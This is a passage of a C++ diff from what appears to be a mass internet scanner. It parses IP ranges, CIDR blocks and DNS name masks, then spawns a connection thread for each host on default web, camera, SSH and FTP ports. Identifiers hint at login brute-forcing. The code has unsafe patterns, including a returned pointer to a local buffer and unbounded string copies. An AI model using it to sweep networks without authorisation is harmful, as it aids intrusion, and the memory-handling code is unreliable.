(ipsstartfl[flCounter][0] >= ipsendfl[flCounter][0] + && ipsstartfl[flCounter][1] >= ipsendfl[flCounter][1] + && ipsstartfl[flCounter][2] >= ipsendfl[flCounter][2] + && ipsstartfl[flCounter][3] > ipsendfl[flCounter][3] + ) + ) + { + char tempMsg[256] = {0}; + strcpy(tempMsg, "[IP Loader]Wrong list format. Line-> ["); + strcat(tempMsg, std::to_string(flCounter).c_str()); + strcat(tempMsg, "] String-> ["); + strcat(tempMsg, curIPCopy); + strcat(tempMsg, "]"); + stt->doEmitionRedFoundData(QString(tempMsg)); + return; + }; + + gTargets += 256*256*256*(ipsendfl[flCounter][0] - ipsstartfl[flCounter][0]); + gTargets += 256*256*(ipsendfl[flCounter][1] - ipsstartfl[flCounter][1]); + gTargets += 256*(ipsendfl[flCounter][2] - ipsstartfl[flCounter][2]); + gTargets += (ipsendfl[flCounter][3] - ipsstartfl[flCounter][3]); + ++flCounter; + } + else if(strstr(curIP, "/") != NULL) + { + char *str1; + char *str2; + char res[8] = {0}; + + int mask = 0; + char *ptr1 = strstr(curIP, "/"); + GetOctets(curIP); + + mask = atoi(ptr1 + 1); + unsigned char mOctet[4]; + mOctet[0] = 1; + mOctet[1] = 1; + mOctet[2] = 1; + mOctet[3] = 1; + + if(mask >= 24) + { + mOctet[0] = 255; + mOctet[1] = 255; + mOctet[2] = 255; + for(int i = 0; i < mask - 24 - 1; ++i) + { + mOctet[3] = mOctet[3] << 1; + mOctet[3] |= 1; + }; + mOctet[3] = mOctet[3] << 8 - (mask - 24); + } + else if(mask >= 16) + { + mOctet[0] = 255; + mOctet[1] = 255; + for(int i = 0; i < mask - 16 - 1; ++i) + { + mOctet[2] = mOctet[2] << 1; + mOctet[2] |= 1; + }; + mOctet[2] = mOctet[2] << 8 - (mask - 16); + mOctet[3] = 0; + } + else if(mask >= 8) + { + mOctet[0] = 255; + for(int i = 0; i < mask - 8 - 1; ++i) + { + mOctet[1] = mOctet[1] << 1; + mOctet[1] |= 1; + }; + mOctet[1] = mOctet[1] << 8 - (mask - 8); + mOctet[2] = 0; + mOctet[3] = 0; + } + else + { + for(int i = 0; i < mask - 1; ++i) + { + mOctet[0] = mOctet[0]<< 1; + mOctet[0] |= 1; + }; + mOctet[0] = mOctet[0] << 8 - mask; + mOctet[1] = 0; + mOctet[2] = 0; + mOctet[3] = 0; + }; + + unsigned char ocRes = 0; + for(int i = 0; i < 4; ++i) + { + ocRes = octet[i]&mOctet[i]; + starterIP[flCounter][i] = ocRes; + ipsstartfl[flCounter][i] = ocRes; + if(mOctet[i] == 255) ipsendfl[flCounter][i] = octet[i]; + else ipsendfl[flCounter][i] = octet[i]|~mOctet[i]; + }; + + gTargets += pow((float)2, (32 - mask)); + ++flCounter; + } + else if(strstr(curIP, "RESTORE_IMPORT_SESSION") != NULL) + { + ///DUMMY/// + } + else + { + char tempMsg[256] = {0}; + strcpy(tempMsg, "[IP Loader]Wrong list format. Line-> ["); + strcat(tempMsg, std::to_string(flCounter).c_str()); + strcat(tempMsg, "] String-> ["); + strcat(tempMsg, curIPCopy); + strcat(tempMsg, "]"); + stt->doEmitionRedFoundData(QString(tempMsg)); + return; + }; + ZeroMemory(curIP, sizeof(curIP)); + }; + }; + gTargets -= 1; + gTargetsOverall = gTargets; + targets = gTargets; + + stt->doEmitionYellowFoundData("List loader - [OK] (" + QString::number(gTargetsOverall + 1) + " hosts)"); + fclose(fl); + } + else + { + stt->doEmitionRedFoundData("[IP Loader] Cannot open IP list."); + }; +}; +char *GetCIDRRangeStr(char *str) +{ + char result[128] = {0}; + char start[32] = {0}; + char end[32] = {0}; + char buff[16] = {0}; + + int mask = 0; + char *ptr1 = strstr(str, "/"); + GetOctets(str); + + mask = atoi(ptr1 + 1); + unsigned char mOctet[4]; + mOctet[0] = 1; + mOctet[1] = 1; + mOctet[2] = 1; + mOctet[3] = 1; + + if(mask >= 24) + { + mOctet[0] = 255; + mOctet[1] = 255; + mOctet[2] = 255; + for(int i = 0; i < mask - 24 - 1; ++i) + { + mOctet[3] = mOctet[3] << 1; + mOctet[3] |= 1; + }; + mOctet[3] = mOctet[3] << 8 - (mask - 24); + } + else if(mask >= 16) + { + mOctet[0] = 255; + mOctet[1] = 255; + for(int i = 0; i < mask - 16 - 1; ++i) + { + mOctet[2] = mOctet[2] << 1; + mOctet[2] |= 1; + }; + mOctet[2] = mOctet[2] << 8 - (mask - 16); + mOctet[3] = 0; + } + else if(mask >= 8) + { + mOctet[0] = 255; + for(int i = 0; i < mask - 8 - 1; ++i) + { + mOctet[1] = mOctet[1] << 1; + mOctet[1] |= 1; + }; + mOctet[1] = mOctet[1] << 8 - (mask - 8); + mOctet[2] = 0; + mOctet[3] = 0; + } + else + { + for(int i = 0; i < mask - 1; ++i) + { + mOctet[0] = mOctet[0]<< 1; + mOctet[0] |= 1; + }; + mOctet[0] = mOctet[0] << 8 - mask; + mOctet[1] = 0; + mOctet[2] = 0; + mOctet[3] = 0; + }; + + strcpy(start, itoa(octet[0]&mOctet[0], buff, 10)); + strcat(start, "."); + strcat(start, itoa(octet[1]&mOctet[1], buff, 10)); + strcat(start, "."); + strcat(start, itoa(octet[2]&mOctet[2], buff, 10)); + strcat(start, "."); + strcat(start, itoa(octet[3]&mOctet[3], buff, 10)); + + unsigned char tempRes = 0; + if(mOctet[0] == 255) tempRes = octet[0]; + else tempRes = octet[0]|~mOctet[0]; + strcat(end, itoa(tempRes, buff, 10)); + strcat(end, "."); + if(mOctet[1] == 255) tempRes = octet[1]; + else tempRes = octet[1]|~mOctet[1]; + strcat(end, itoa(tempRes, buff, 10)); + strcat(end, "."); + if(mOctet[2] == 255) tempRes = octet[2]; + else tempRes = octet[2]|~mOctet[2]; + strcat(end, itoa(tempRes, buff, 10)); + strcat(end, "."); + if(mOctet[3] == 255) tempRes = octet[3]; + else tempRes = octet[3]|~mOctet[3]; + strcat(end, itoa(tempRes, buff, 10)); + + strcpy(result, start); + strcat(result, "-"); + strcat(result, end); + + return result; +}; +int ParseArgs(int argc, char *argv[]) +{ + int s = 0; + int indexPorts = 0; + + if(strstr(argv[1], "-f") != NULL) + { + gThreads = atoi(argv[3]); + threads = gThreads; + + FileLoader(argv[2]); + gMode = -1; + } + else + { + gMode = atoi(argv[1]); + + if(gMode == 0) //Mode 0 (IP scan) + { + gThreads = atoi(argv[3]); + } + else if(gMode == 1) //Mode 1 (DNS scan) + { + strcpy(gFirstDom, argv[3]); + gThreads = atoi(argv[4]); + }; + + threads = gThreads; + }; + + if(gMode == 0) + { + if(strstr(argv[2], "-") != NULL) + { + strcpy(gRange, argv[2]); + strcpy(saveEndIP, argv[2]); + strcpy(endIP2, argv[2]); + } + else + { + if(strstr(argv[2], "/") != NULL) + { + strcpy(gRange, GetCIDRRangeStr(argv[2])); + } + else + { + strcpy(gRange, argv[2]); + strcat(gRange, "-"); + strcat(gRange, argv[2]); + }; + strcpy(saveEndIP, gRange); + strcpy(endIP2, gRange); + }; + } + else if(gMode == 1) + { + if(strstr(argv[2], "/") != NULL) + { + strcpy(gRange, argv[2]); + strcpy(saveEndIP, argv[2]); + strcpy(endIP2, argv[2]); + } + else + { + strcpy(gRange, argv[2]); + strcpy(saveEndIP, gRange); + strcpy(endIP2, gRange); + }; + + }; + + for(int i = 1; i <= argc - 1; i++) + { + s += strlen(argv[i]) + 2; + }; + + char *argString = new char [s + 1]; + ZeroMemory(argString, sizeof(argString)); + + for(int i = 1; i <= argc - 1; i++) + { + strcat(argString, argv[i]); + if(i != argc - 1) strcat(argString, "::"); + }; + + if(strstr(argString, "-p") != NULL) + { + char *portString = strstr(argString, "-p"); + char p[4096] = {0}; + if(strstr(portString, "::") != NULL) + { + strncpy(gPorts, portString, (int)(strstr(portString, "::") - portString)); + strncpy(p, strstr(argString, "-p") + 2, (int)(strstr(portString, "::") - portString)); + } + else + { + strcpy(gPorts, portString); + strcpy(p, strstr(argString, "-p") + 2); + }; + char *lex; + + if(strstr(p, ",") != NULL) + { + + lex = strtok(p, ","); + portArr[indexPorts++] = atoi(lex); + + while ((lex = strtok(NULL, ",")) != NULL) + { + portArr[indexPorts++] = atoi(lex); + overallPorts++; + }; + } + else if(strstr(p, "-") != NULL) + { + char *startp; + char *endp; + char buffForPorts[16] = {0}; + + lex = strtok(p, "-p"); + startp = lex; + lex = strtok(NULL, "-"); + endp = lex; + + for(int i = atoi(startp); i <= atoi(endp); i++ ) + { + portArr[indexPorts++] = i; + overallPorts++; + }; + + ZeroMemory(buffForPorts, sizeof(buffForPorts)); + } + else + { + + lex = strtok(p, "-p"); + portArr[indexPorts++] = atoi(lex); + }; + } + else + { + portArr[0] = 80; + portArr[1] = 81; + portArr[2] = 88; + portArr[3] = 8080; + portArr[4] = 8081; + portArr[5] = 60001; + portArr[6] = 60002; + portArr[7] = 8008; + portArr[8] = 8888; + portArr[9] = 554; + portArr[10] = 9000; + portArr[11] = 441; + portArr[12] = 4111; + portArr[13] = 6667; + portArr[14] = 3536; + portArr[15] = 22; + portArr[16] = 21; + + overallPorts = 16; + + strcpy(gPorts, "--DEFAULT"); + }; + + ZeroMemory(argString, sizeof(argString)); + + delete[] argString; + +return 0; +}; + +char charAll[38] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', + 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', + 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '_', '-'}; + +sockstruct *st = NULL; +char iip[256] = {0}; +int _getPos(char l) +{ + for(int i = 0; i < 38; ++i) + { + if(l == charAll[i]) return i; + }; + return -1; +}; +int _getChunkCount(char *data) +{ + int firstPos = _getPos(data[1]); + int secondPos = _getPos(data[2]); + return secondPos - firstPos + 1; +}; +int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) +{ + if(strstr(mask, "[") != NULL) + { + char maskEnd[1024] = {0}; + char maskRes[1024] = {0}; + char *ptr1 = strstr(mask, "["); + char *ptr2 = strstr(ptr1, "]"); + int sz = ptr2 - ptr1; + char chunk[8] = {0}; + strncpy(chunk, ptr1, sz + 1); + int firstPos = _getPos(chunk[1]); + int secondPos = _getPos(chunk[2]); + + if(firstPos > secondPos) + { + stt->doEmitionRedFoundData("Error at mask (Wrong letter sequence)"); + return -1; + }; + + char maskStart[1024] = {0}; + int startPosition = strstr(mask, "[") - mask; + strncpy(maskStart, mask, startPosition); + + char maskEntry[1024] = {0}; + if(saveMaskEnder != NULL) + { + int startSavePosition = strstr(saveMaskEnder, "[") - saveMaskEnder; + strncpy(maskEntry, saveMaskEnder, startSavePosition); + }; + + int szMask = strlen(mask); + int szOffset = startPosition + 2; + if(szMask != szOffset) strcpy(maskEnd, strstr(mask, "]") + 1); + else + { + ZeroMemory(maskEnd, sizeof(maskEnd)); + }; + char maskSaver[128] = {0}; + if(firstPos != -1 && secondPos != -1) + { + for(int i = firstPos; i <= secondPos; ++i) + { + if(globalScanFlag == false) break; + strcpy(maskSaver, saveMask); + strcat(maskSaver, maskEntry); + chunk[1] = charAll[i]; + strcat(maskSaver, chunk); + strcpy(maskRes, maskStart); + maskRes[startPosition] = charAll[i]; + strcat(maskRes, maskEnd); + + if(_GetDNSFromMask(maskRes, maskSaver, maskEnd) == -1) return -1; + ZeroMemory(maskSaver, sizeof(maskSaver)); + ZeroMemory(maskRes, sizeof(maskRes)); + }; + }; + } + else + { +#pragma region DNS-SCAN + if(globalScanFlag == false) return 0; + strcpy(endIP2, saveMask); + st = new sockstruct(); + ZeroMemory(st->argv, sizeof(st->argv)); + ZeroMemory(iip, sizeof(iip)); + while(cons >= gThreads) Sleep(300); + strcpy(iip, mask); + strcpy(saveStartIP, iip); + strcat(iip, top_level_domain); + + ++indexIP; + + strcpy(st->argv, iip); + + targetAndIPWriter(--gTargets, st->argv); + + ConInc(); +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(globalScanFlag) _beginthread( (void(*)(void*))_connect, 0, st ); +#else + if(globalScanFlag) + { + pthread_t thrc; + pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st ); + }; +#endif + Sleep(gThreadDelay); +#pragma endregion + }; +}; + +int startScan(char* args) +{ + SSL_library_init(); + OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */ + SSL_load_error_strings(); /* Bring in and register error messages */ + + horLineFlag = false; + flCounter = 0; + PieAnomC1 = 0, PieWF = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieSSH = 0; + AnomC1 = 0, BA = 0, Filt = 0, Overl = 0, Lowl = 0, Alive = 0, Activity = 0, saved = 0, Susp = 0, WF = 0, offlines = 0; + BrutingThrds = 0; + found = 0; + gTargets = 0; + targets = 0; + cons = 0; + overallPorts = 0; + found = 0; + indexIP = 0; + ZeroMemory(octet, sizeof(octet)); + ZeroMemory(ipsstart, sizeof(ipsstart)); + ZeroMemory(ipsend, sizeof(ipsend)); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + CreateDirectory(L"./result_files", NULL); +#else + struct stat st = {0}; + if (stat("./result_files", &st) == -1) { + mkdir("./result_files", 0700); + } +#endif + + int argc = 0; + char *argv[512] = {0}; + + char *tStr = strtok(args, "|"); + while(tStr != NULL) + { + argv[argc++] = tStr; + tStr = strtok(NULL, "|"); + }; + + ParseArgs(argc, argv); + mode = gMode; + int resInit = fInit(gMode, gRange); + if(resInit == -1 ) + { + #pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Error] fInit failure"); + stt->doEmitionKillSttThread(); + #pragma endregion + return -1; + }; + +stt->doEmitionIPRANGE(QString(saveEndIP)); +stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); + + _passLoginFapper(); + _NegativeFapper(); + + char res[256] = {0}; + if (gMode == 0) + { +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + _beginthread((void(*)(void*))_saver, 0, NULL); +#else + pthread_t thrs; + pthread_create(&thrs, NULL, (void *(*)(void*))&_saver, NULL); +#endif +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if (trackerOK) _beginthread((void(*)(void*))_tracker, 0, NULL); + Sleep(50); + _beginthread((void(*)(void*))_timer, 0, NULL); +#else + pthread_t thrt; + pthread_t thrtt; + if(trackerOK) pthread_create(&thrt, NULL, (void *(*)(void*))&_tracker, NULL); + pthread_create(&thrtt, NULL, (void *(*)(void*))&_timer, NULL); +#endif + + unsigned long ip1 = (ipsstart[0] * 16777216) + (ipsstart[1] * 65536) + (ipsstart[2] * 256) + ipsstart[3]; + unsigned long ip2 = (ipsend[0] * 16777216) + (ipsend[1] * 65536) + (ipsend[2] * 256) + ipsend[3]; + + switch (gShuffle) { + case true: { + std::vector ipVec; + struct in_addr tAddr; + + for (unsigned long i = ip1; i <= ip2; ++i) { + if (globalScanFlag == false) break; + int offset = ip2 - i; + + tAddr.s_addr = i; + ipVec.push_back(std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)); + + if (ipVec.size() >= (offset < 1000 ? offset : 1000)) { + + std::random_shuffle(ipVec.begin(), ipVec.end()); + while (ipVec.size() != 0) { + + if (globalScanFlag == false) goto haters_gonna_hate_IPM; + st = new sockstruct(); + ZeroMemory(st->argv, sizeof(st->argv)); + + while (cons >= gThreads) Sleep(500); + ++indexIP; + strcpy(st->argv, ipVec[0].c_str()); + strcpy(saveStartIP, ipVec[0].c_str()); + ipVec.erase(ipVec.begin()); + + targetAndIPWriter(gTargets--, st->argv); + ConInc(); +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + _beginthread((void(*)(void*))_connect, 0, st); +#else + pthread_t thrc; + pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st); +#endif + Sleep(gThreadDelay); + } + } + } + + haters_gonna_hate_IPM:; + break; + } + case false: { + struct in_addr tAddr; + for (unsigned long i = ip1; i <= ip2; ++i) { + if (globalScanFlag == false) break; + st = new sockstruct(); + ZeroMemory(st->argv, sizeof(st->argv)); + ZeroMemory(res, sizeof(res)); + while (cons >= gThreads) Sleep(500); + ++indexIP; + + tAddr.s_addr = i; + strcpy(res, (std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)).c_str()); + strcpy(st->argv, res); + strcpy(saveStartIP, res); + + targetAndIPWriter(gTargets--, st->argv); + ConInc(); +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + _beginthread((void(*)(void*))_connect, 0, st); +#else + pthread_t thrc; + pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st); +#endif + Sleep(gThreadDelay); + } + break; + } + } + + /*int eor0 = 0, eor1 = 0, eor2 = 0, eor3 = 0; + stt->doEmitionChangeStatus("Scanning..."); + sockstruct *st = NULL; + while ((eor0 == 0 || eor1 == 0 || eor2 == 0 || eor3 == 0 ) && globalScanFlag) + { + if(globalScanFlag == false) break; + while(ipsstart[0] < 256 && eor0 == 0) + { + if(ipsstart[0] == ipsend[0]) eor0 = 1; + if(globalScanFlag == false) break; + while(ipsstart[1] < 256 && eor1 == 0) + { + if(ipsstart[1] == ipsend[1] && eor0 == 1) eor1 = 1; + if(globalScanFlag == false) break; + while(ipsstart[2] < 256 && eor2 == 0) + { + if(ipsstart[2] == ipsend[2] && eor1 == 1) eor2 = 1; + if(globalScanFlag == false) break; + while(ipsstart[3] < 256 && eor3 == 0) + { + if(globalScanFlag == false) break; + st = new sockstruct(); + ZeroMemory(st->argv, sizeof(st->argv)); + ZeroMemory(res, sizeof(res)); + while(cons >= gThreads) Sleep(300); + if(ipsstart[3] == ipsend[3] && eor2 == 1) eor3 = 1; + ++indexIP; + + strcat(res, std::to_string(ipsstart[0]).c_str()); + strcat(res, "."); + strcat(res, std::to_string(ipsstart[1]).c_str()); + strcat(res, "."); + strcat(res, std::to_string(ipsstart[2]).c_str()); + strcat(res, "."); + strcat(res, std::to_string(ipsstart[3]).c_str()); + + strcpy(st->argv, res); + strcpy(saveStartIP, res); + + targetAndIPWriter(gTargets--, st->argv); + ConInc(); +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + _beginthread( (void(*)(void*))_connect, 0, st ); +#else + pthread_t thrc; + pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st); +#endif + Sleep(gThreadDelay); + ++ipsstart[3]; + }; + ipsstart[3] = 0; + ++ipsstart[2]; + }; + ipsstart[3] = 0; + ipsstart[2] = 0; + ++ipsstart[1]; + }; + ipsstart[3] = 0; + ipsstart[2] = 0; + ipsstart[1] = 0; + ++ipsstart[0]; + }; + ipsstart[3] = 0; + ipsstart[2] = 0; + ipsstart[1] = 0; + };*/ + } + else if(gMode == 1 ) + { +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + _beginthread( (void(*)(void*))_saver, 0, NULL ); +#else + pthread_t thrs; + pthread_create(&thrs, NULL, (void *(*)(void*))&_saver, NULL); +#endif + char iipFinish[64] = {0}; + + strcpy(top_level_domain, gFirstDom); + + if(trackerOK) + { +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(trackerOK) _beginthread( (void(*)(void*))_tracker, 0, NULL ); +#else + pthread_t thrt; + if(trackerOK) pthread_create(&thrt, NULL, (void *(*)(void*))&_tracker, NULL); +#endif + }; + + Sleep(40); +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + _beginthread( (void(*)(void*))_timer, 0, NULL ); +#else + pthread_t thrtt; + pthread_create(&thrtt, NULL, (void *(*)(void*))&_timer, NULL); +#endif + + + char dataEntry[1024] = {0}; + + int innerCounter = 0; + int sz = strlen(saveEndIP); + for(int i = 0; i < sz; ++i) + { + if(saveEndIP[i] == '\\') + { + if(saveEndIP[i + 1] == 'd') + { + strcat(dataEntry, "[09]"); + ++i; + innerCounter += 4; + continue; + } + else if(saveEndIP[i + 1] == 'w') + { + strcat(dataEntry, "[0z]"); + ++i; + innerCounter += 4; + continue; + } + else if(saveEndIP[i + 1] == 'l') + { + strcat(dataEntry, "[az]"); + ++i; + innerCounter += 4; + continue; + } + else + { + QString errStr = "Error at mask (Position:" + QString::number(i+1); + errStr += ") \""; + errStr += QString(saveEndIP).mid(0, i == 0 ? 0 : i); + errStr += ""; + errStr += QString(saveEndIP).mid(i, i == 0 ? i+2 : i+1); + errStr += ""; + errStr += QString(saveEndIP).mid(i+2, strlen(saveEndIP)); + errStr += "\""; + + stt->doEmitionRedFoundData(errStr); + return -1; + }; + } + else + { + memset(dataEntry + innerCounter++, saveEndIP[i], 1); + }; + }; + memset(dataEntry + innerCounter + 1, '\0', 1); + + for(int i = 0; i < sz; ++i) + { + if(dataEntry[i] == '[') + { + for(int j = i + 1; j < i + 3; ++j) + { + if((dataEntry[j] < '0' || dataEntry[j] > '9') + && (dataEntry[j] < 'a' || dataEntry[j] > 'z') + && dataEntry[j] != '_' + && dataEntry[j] != '-' + ) + { + QString errStr = "Error at mask (" + QString::number(j-1); + errStr += ") \""; + errStr += QString(dataEntry).mid(0, j-1); + errStr += ""; + errStr += QString(dataEntry).mid(j-1, j+1); + errStr += ""; + errStr += QString(dataEntry).mid(j+1, strlen(dataEntry)); + errStr += "\""; + + stt->doEmitionRedFoundData(errStr); + return -1; + }; + }; + i += 3; + } + else if(dataEntry[i] == ']') + { + QString errStr = "Error at mask (" + QString::number(i-1); + errStr += ") \""; + errStr += QString(dataEntry).mid(0, i-1); + errStr += ""; + errStr += QString(dataEntry).mid(i-1, i+1); + errStr += ""; + errStr += QString(dataEntry).mid(i+1, strlen(dataEntry)); + errStr += "\""; + + stt->doEmitionRedFoundData(errStr); + return -1; + }; + }; + + unsigned long long dnsCounter = 1; + char *dnsPtr1 = strstr(dataEntry, "["); + while(dnsPtr1 != NULL) + { + dnsCounter *= _getChunkCount(dnsPtr1); + dnsPtr1 = strstr(dnsPtr1 + 1, "["); + }; + gTargets = dnsCounter; + gTargetsOverall = gTargets; + stt->doEmitionYellowFoundData("Starting DNS-scan..."); + stt->doEmitionChangeStatus("Scanning..."); + + if(_GetDNSFromMask(dataEntry, "", dataEntry) == -1) + { + stt->doEmitionRedFoundData("DNS-Mode error"); + }; + } + else if (gMode == -1) + { + if (flCounter == 0) + { + stt->doEmitionRedFoundData("Empty IP list."); + isActive = 0; + globalScanFlag = false; + stt->doEmitionKillSttThread(); + + return -1; + }; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + _beginthread((void(*)(void*))_saver, 0, NULL); +#else + pthread_t thrs; + pthread_create(&thrs, NULL, (void *(*)(void*))&_saver, NULL); +#endif + if (trackerOK) + { +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + _beginthread((void(*)(void*))_tracker, 0, NULL); +#else + pthread_t thrt; + pthread_create(&thrt, NULL, (void *(*)(void*))&_tracker, NULL); +#endif + }; + + Sleep(40); +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + _beginthread((void(*)(void*))_timer, 0, NULL); +#else + pthread_t thrtt; + pthread_create(&thrtt, NULL, (void *(*)(void*))&_timer, NULL); +#endif + + stt->doEmitionChangeStatus("Scanning..."); + sockstruct *st = NULL; + for (gC = 0; gC < flCounter; ++gC) + { + strcpy(metaRange, std::to_string(ipsstartfl[gC][0]).c_str()); + strcat(metaRange, "."); + strcat(metaRange, std::to_string(ipsstartfl[gC][1]).c_str()); + strcat(metaRange, "."); + strcat(metaRange, std::to_string(ipsstartfl[gC][2]).c_str()); + strcat(metaRange, "."); + strcat(metaRange, std::to_string(ipsstartfl[gC][3]).c_str()); + strcat(metaRange, "-"); + strcat(metaRange, std::to_string(ipsendfl[gC][0]).c_str()); + strcat(metaRange, "."); + strcat(metaRange, std::to_string(ipsendfl[gC][1]).c_str()); + strcat(metaRange, "."); + strcat(metaRange, std::to_string(ipsendfl[gC][2]).c_str()); + strcat(metaRange, "."); + strcat(metaRange, std::to_string(ipsendfl[gC][3]).c_str()); + + unsigned long ip1 = (ipsstartfl[gC][0] * 16777216) + (ipsstartfl[gC][1] * 65536) + (ipsstartfl[gC][2] * 256) + ipsstartfl[gC][3]; + unsigned long ip2 = (ipsendfl[gC][0] * 16777216) + (ipsendfl[gC][1] * 65536) + (ipsendfl[gC][2] * 256) + ipsendfl[gC][3]; + + switch (gShuffle) { + case true: { + std::vector ipVec; + struct in_addr tAddr; + + for (unsigned long i = ip1; i <= ip2; ++i) { + if (globalScanFlag == false) break; + int offset = ip2 - i; + + tAddr.s_addr = i; + ipVec.push_back(std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)); + + if (ipVec.size() >= (offset < 1000 ? offset : 1000)) { + + std::random_shuffle(ipVec.begin(), ipVec.end()); + while (ipVec.size() != 0) { + + if (globalScanFlag == false) goto haters_gonna_hate_IM; + st = new sockstruct(); + ZeroMemory(st->argv, sizeof(st->argv)); + + while (cons >= gThreads) Sleep(500); + ++indexIP; + strcpy(st->argv, ipVec[0].c_str()); + strcpy(saveStartIP, ipVec[0].c_str()); + ipVec.erase(ipVec.begin()); + + targetAndIPWriter(gTargets--, st->argv); + ConInc(); +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + _beginthread((void(*)(void*))_connect, 0, st); +#else + pthread_t thrc; + pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st); +#endif + Sleep(gThreadDelay); + } + } + } + haters_gonna_hate_IM:; + break; + } + case false: { + struct in_addr tAddr; + for (unsigned long i = ip1; i <= ip2; ++i) { + if (globalScanFlag == false) break; + st = new sockstruct(); + ZeroMemory(st->argv, sizeof(st->argv)); + ZeroMemory(res, sizeof(res)); + while (cons >= gThreads) Sleep(500); + ++indexIP; + + tAddr.s_addr = i; + strcpy(res, (std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)).c_str()); + strcpy(st->argv, res); + strcpy(saveStartIP, res); + + targetAndIPWriter(gTargets--, st->argv); + ConInc(); +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + _beginthread((void(*)(void*))_connect, 0, st); +#else + pthread_t thrc; + pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st); +#endif + Sleep(gThreadDelay); + + } + break; + /*int eor0 = 0, eor1 = 0, eor2 = 0, eor3 = 0; + while ((eor0 == 0 || eor1 == 0 || eor2 == 0 || eor3 == 0) && globalScanFlag) + { + if (globalScanFlag == false) break; + while (ipsstartfl[gC][0] < 256 && eor0 == 0) + { + if (globalScanFlag == false) break; + if (ipsstartfl[gC][0] == ipsendfl[gC][0]) eor0 = 1; + while (ipsstartfl[gC][1] < 256 && eor1 == 0) + { + if (globalScanFlag == false) break; + if (ipsstartfl[gC][1] == ipsendfl[gC][1] && eor0 == 1) eor1 = 1; + while (ipsstartfl[gC][2] < 256 && eor2 == 0) + { + if (globalScanFlag == false) break; + if (ipsstartfl[gC][2] == ipsendfl[gC][2] && eor1 == 1) eor2 = 1; + while (ipsstartfl[gC][3] < 256 && eor3 == 0) + { + if (globalScanFlag == false) break; + st = new sockstruct(); + ZeroMemory(st->argv, sizeof(st->argv)); + ZeroMemory(res, sizeof(res)); + + while (cons >= gThreads) Sleep(300); + + if (ipsstartfl[gC][3] == ipsendfl[gC][3] && eor2 == 1) eor3 = 1; + + ++indexIP; + + strcat(res, std::to_string(ipsstartfl[gC][0]).c_str()); + strcat(res, "."); + strcat(res, std::to_string(ipsstartfl[gC][1]).c_str()); + strcat(res, "."); + strcat(res, std::to_string(ipsstartfl[gC][2]).c_str()); + strcat(res, "."); + strcat(res, std::to_string(ipsstartfl[gC][3]).c_str()); + + strcpy(st->argv, res); + strcpy(saveStartIP, res); + + targetAndIPWriter(gTargets--, st->argv); + + ConInc(); +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + _beginthread((void(*)(void*))_connect, 0, st); +#else + pthread_t thrc; + pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st); +#endif + Sleep(gThreadDelay); + if (ipsstartfl[gC][3] == 255) break; + if (ipsstartfl[gC][3] <= ipsendfl[gC][3]) ++ipsstartfl[gC][3]; + }; + ipsstartfl[gC][3] = 0; + if (ipsstartfl[gC][2] == 255) break; + if (ipsstartfl[gC][2] <= ipsendfl[gC][2]) ++ipsstartfl[gC][2]; + }; + ipsstartfl[gC][3] = 0; + ipsstartfl[gC][2] = 0; + if (ipsstartfl[gC][1] == 255) break; + if (ipsstartfl[gC][1] <= ipsendfl[gC][1]) ++ipsstartfl[gC][1]; + }; + ipsstartfl[gC][3] = 0; + ipsstartfl[gC][2] = 0; + ipsstartfl[gC][1] = 0; + if (ipsstartfl[gC][0] == 255) break; + if (ipsstartfl[gC][0] <= ipsendfl[gC][0]) ++ipsstartfl[gC][0]; + }; + ipsstartfl[gC][3] = 0; + ipsstartfl[gC][2] = 0; + 